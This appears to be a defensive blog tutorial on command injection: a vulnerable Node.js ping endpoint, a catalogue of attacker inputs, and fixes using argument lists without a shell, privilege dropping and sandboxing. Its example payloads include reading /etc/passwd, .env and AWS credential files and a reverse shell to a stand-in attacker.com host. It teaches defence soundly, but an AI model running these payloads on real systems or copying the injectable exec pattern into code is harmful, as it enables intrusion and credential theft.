A support tool at your company lets an admin check whether a host is reachable. The code is four lines and it has worked for years:
app.post('/ping', (req, res) => {
const { host } = req.body;
exec(`ping -c 4 ${host}`, (err, stdout) => res.send(stdout));
});Then someone submits host = "8.8.8.8; cat /etc/passwd" and gets your password file back. That is command injection, and the reason it works is that exec hands the whole string to a shell — /bin/sh -c "ping -c 4 8.8.8.8; cat /etc/passwd" — and the shell happily runs both commands. The fix is not to escape the input. The fix is to never involve a shell in the first place.
What command injection actually gives an attacker
When user input reaches a shell, the attacker isn't limited to breaking your one command. They inherit the full power of the shell running as your application's user:
- Read and exfiltrate files —
; cat /etc/passwd,; cat .env,; cat ~/.aws/credentials - Chain commands —
;runs the next command,&&runs it on success,||on failure - Substitute output into the command —
`id`or$(id)runsidand splices the result - Open a reverse shell —
; bash -i >& /dev/tcp/attacker.com/4444 0>&1 - Pivot into the network — the server can often reach internal hosts the attacker cannot
The blast radius is whatever your app's process can do. If that process runs as root, or has cloud credentials in its environment, a single injectable ping box becomes full server and account compromise.
Where it hides
Command injection lives anywhere your app builds a command line from input. Hunt for calls that spawn processes with a string:
exec,execSync,spawn(cmd, {shell:true})in Node.jsos.system,subprocess.call(..., shell=True),os.popenin PythonRuntime.exec(String),ProcessBuilderwith a joined string in Javasystem,exec,shell_exec,passthru, backticks in PHP
The classic feature-level sinks: ping/traceroute utilities, "convert this file" pipelines that call ImageMagick / ffmpeg / LibreOffice, PDF and thumbnail generators, git or svn operations, DNS lookups, and anything that unzips or processes an uploaded archive.
Argument injection: the subtler variant
Even when you avoid the shell, you can still be vulnerable if the attacker controls an argument that the target program treats as an option. If input starting with - or -- reaches a CLI tool, they may be able to flip on a dangerous flag — for example passing --upload-file to curl, or a filename like -oProxyCommand=... to ssh. The defense is the same idea one level down: validate that arguments are the shape you expect, and use -- to signal "everything after this is a positional argument, not a flag."
The fix: pass arguments as a list, with no shell
The single most important change is to stop building a command string and start passing an array of arguments to an API that executes the program directly, without a shell. When there is no shell, there is nothing to parse ;, |, $(), or newlines — those characters become literal parts of an argument, which fail harmlessly.
Layers that back up the primary fix
No single control is enough on its own; stack them:
- Prefer a library over a subprocess. If a native library can do the job — resize an image, parse a PDF, resolve DNS — use it and skip the shell entirely. The safest command is the one you never run.
- Allowlist the input's shape. After you've removed the shell, still validate that the argument matches the narrow pattern you expect. Reject leading
-, cap the length, and use--to end option parsing. - Drop privileges. Run the process as an unprivileged user with no cloud credentials in its environment. If injection ever does happen, the attacker inherits far less.
- Sandbox the risky work. Push image/video/archive processing into a locked-down container or a serverless function with no network egress and a read-only filesystem, so a compromise is contained.
The takeaway is one sentence: build an argument list, not a command string, and never spawn a shell with user input in it. Escaping is a losing game of catch-up with the shell's grammar; removing the shell ends the game.
Want to see it end to end? The command injection simulation gives you a vulnerable diagnostics tool to exploit, then lets you apply the array-argv fix and watch the same payloads fail. It pairs well with the path traversal and SQL injection guides, which share the same root cause: untrusted data crossing into a place it's treated as code.
Frequently Asked Questions
Related posts
Server-Side Template Injection: From {{7*7}} to RCE
SSTI happens when user input is rendered as part of a server-side template instead of passed as data. Here's how {{7*7}} becomes remote code execution, and how to render templates safely in Jinja2, Twig, and Node.js.
Aug 8, 2026 · 7 min readLDAP Injection: Bypassing Auth Through the Directory
LDAP injection lets an attacker rewrite a directory query with characters like * ( ) and | — bypassing login and dumping user data. Here's how the filter syntax gets abused and how to escape it correctly in Node.js, Python, and Java.
Aug 7, 2026 · 7 min readNoSQL Injection: When $gt and $where Bypass Your Login
NoSQL databases aren't immune to injection — they just get attacked differently. Here's how operator injection and $where JavaScript let attackers bypass auth in MongoDB, and how to stop it in Node.js and Python.
Aug 6, 2026 · 7 min read